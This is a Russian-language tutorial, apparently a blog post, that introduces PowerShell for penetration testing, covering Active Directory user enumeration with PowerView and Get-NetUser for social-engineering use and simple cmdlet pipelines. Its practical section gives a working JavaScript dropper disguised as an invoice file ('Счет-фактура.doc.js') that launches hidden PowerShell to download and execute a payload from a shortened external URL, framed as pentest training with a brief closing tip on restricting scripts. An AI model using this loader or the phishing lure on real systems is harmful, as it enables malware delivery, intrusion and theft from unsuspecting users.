Приветствую тебя user_name.
Хакеры любят использовать PowerShell для запуска «fileless malware» — бестелесных вредоносных программ, которые не являются традиционными бинарными файлами с компилированным вредоносным кодом, и по этой причине не могут быть обнаружены антивирусными решениями.
PowerShell, конечно же, всегда имел вполне нормальное предназначение, никак поначалу вообще не связанное с тестированием на проникновение.
Чтобы избавить тебя от необходимости просматривать длиннющий 17-страничный документ, я открою главный мотивирующий фактор, побудивший авторов PowerShell: он должен был предоставить системным администраторам доступ к объектам .Net из командной строки, позволив таким образом автоматизировать рабочий процесс на уровне системы, а не на уровне глубокого программирования в C
или C++.
Если ты хочешь получить реальные доказательства эффективности PS , спроси своих системных администраторов, как они массово добавляют пользователей в Active Directory или выполняют быструю настройку безопасности. Скорее всего, ты узнаешь про решения на PowerShell. Короче говоря: PS — это шикарный способ снижения рутины и повышения производительности для администраторов.
Зачем же использовать PowerShell для пентестов?
То, что так хорошо подходит в качестве мощного инструмента автоматизации для администраторов, в конечном счете оказывается полезным как для хакеров, так и для тестировщиков на проникновение.
Предположим, админу была поставлена задача выяснить, кто на самом деле использует недостаточно загруженный сервер. С помощью PowerShell и библиотеки дополнительных функций PowerView, админ может быстро просматривать пользователей, вошедших на сервер, безнеобходимости быть залогиненным самому на этом сервере.
Тем не менее, хакеры, которые ранее получили доступ через фишинговую атаку, также cмогут проделать то же самое, т.к. они могут использовать те же возможности, находясь в домене Active Directory (далее — AD). И их деятельность совсем не обязательно будет обнаружена: ИБ-аналитик, отслеживающий использование приложений, может прийти к выводу, что, поскольку «это просто PowerShell, он должен быть безвредным».
Чтобы усугубить этот пример еще больше, хакеры смогут даже получить всю подробную информацию об отдельных пользователях с помощью команды Get-NetUser, которая сдампит все атрибуты пользователя в AD.
Компании подчас небрежно относятся к атрибутам AD, которые они делают общедоступными для всех сотрудников — например, домашний или мобильный телефон, адрес и т.п. До появления PowerShell было намного сложнее собрать все эти данные из AD, но это уже давно не так! Что хакеры могут сделать с этой информацией? Они могут легко воспользоваться способами социальной инженерии и разработать для этого атаку: возможно, отправив электронное письмо с достаточным количеством личного контекста, полученного из AD-атрибутов, чтобы оно выглядело как легитимный запрос службы поддержки с просьбой «сбросить пароль».
Краткий курс PowerShell для пентестеров
С помощью PowerShell хакеры могут незаметно собирать внутренние пользовательские данные и затем использовать их в своих атаках. Но нет причин, по которым сотрудники ИТ или ИБ-служб не могут также освоить PowerShell в достаточной степени, чтобы начать собственное тестирование и научиться понимать образ мыслей и мотивы хакера. Первый приятный момент с PowerShell кроется в том, что все старые скрипты и bat-файлы, которые мы запускали из командной строки cmd.exe по-прежнему работают в консоли PowerShell. Уже неплохо, не правда ли? Следующим важным моментом является то, что в отличие от Linux-подобных оболочек, PowerShell рассматривает все как объект. Даже вывод команды (задумайтесь только) — это тоже объект.
Например, введя команду Get-ChildItem (или командлет по-другому, так команды называются в мире PS) в консоль, и мы увидим список файлов текущего каталога:
Кодирование с помощью PowerShell
Предположим, ты хочешь написать сценарий PS, в котором выводятся только файлы размером свыше 10 МБ — например, чтобы быстро проверить, какие файлы занимают много места. Эта задача будет намного сложнее для решения в строковом выводе, скажем, оболочки bash. Однако, в PowerShell вывод любой команды сам по себе является объектом с набором атрибутов. Чтобы увидеть это, просто передай вывод GetChildItem в Get-Member, который сообщит тебе атрибуты PS командлета:
Итак, теперь у нас есть идентификаторы для двух интересующих нас атрибутов: длина «length» и название «name», на которые мы можем ссылаться программно. 5 минут — полет нормальный. Чтобы справиться с частой ситуацией, когда объекты порой находятся в массивах или коллекциях, мы будем использовать PS-оператор ForEach для итерации по массиву.Чтобы сделать вещи еще проще, псевдоним или альяс "%" означает «ForEach», а "$_«представляет текущий объект.
Выполнение команд с помощью PowerShell
Давай получим наши два столбца вывода из команды GetChildItem на основе наших новых знаний. Пример ниже представляет собой конвейер с Get-ChildItem, подающий ввод на оператор ForEach, который выводит только значения атрибутов „length“ и „name“:
get-childitem | % {write-host $_.length $_.name -separator
"`t`t"}
И вот результат запуска команд:
Чтобы закончить наш шикарный пример, давай донастроим наш скрипт, чтобы выводить только большие файлы, скажем, больше 10МБ. Для этого мы используем фильтр, известный как командлет Where-Object с удобным псевдонимом »?". Он имеет все обычные операторы сравнения (-gt, -eq, -lt, и т.д.). Мы вставляем его в середину конвейера и наш скрипт теперь выглядит так:
get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"}
В качестве упражнения попробуй запустить вышеуказанное PS-творение в своей собственной среде.
Пособие: Пример тестирования на проникновение на PowerShell
С этим небольшим опытом работы в PowerShell мы готовы взяться за вполне реальный пример пентеста. Один из самых быстрых способов попасть в пентестинг — это использовать PowerShell для сокрытия полезной нагрузки.
Идея состоит в том, чтобы спрятать наш код PowerShell в стандартный офисный документ с суффиксом .doc. На самом деле, файл будет иметь расширение .js, и при нажатии активирует запуск сценария Windows для запуска JavaScript, который уже затем запустит встроенный код PowerShell. Немного сбивает с толку, верно? Но хакеры используют не один, а несколько уровней вложенности и обфускации, чтобы максимально скрыть и запутать свою атаку
Подготовка загрузчика и полезной нагрузки
Вот как выглядит скрипт:
a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true);
вставь приведенный выше код в текстовый файл и переименуй его в что-то вроде Счет-фактура.doc.js. Приведенный выше JavaScript действует как загрузчик, который запускается с помощью встроенных командлетов PowerShell NetWebClient и Invoke-Expression, которые сами по себе псевдонимы с "%".Метод DownloadString из командлета NetWebClient удаленно извлекает фактическую полезную нагрузку, которая в конечном итоге сделает за нас всю грязную работу. Можешь вставить свой URL-адрес, указывающий на твою собственную тестовую программу. Ну а командлет Invoke-Expression принимает на вход код нашего вредоносного файла и затем выполняет его.
Выводы:
Атаки на основе скриптов, в том числе связанные с вложением в электронную почту, рассчитывают на то, что администраторы, как правило, предоставляют сотрудникам чрезмерно широкие разрешения на скрипты. А это не должно быть так! Если ты админ в какой нибудь конторе, запрети своим пользакам исполнять PS код. Помни, юзер существо безправное!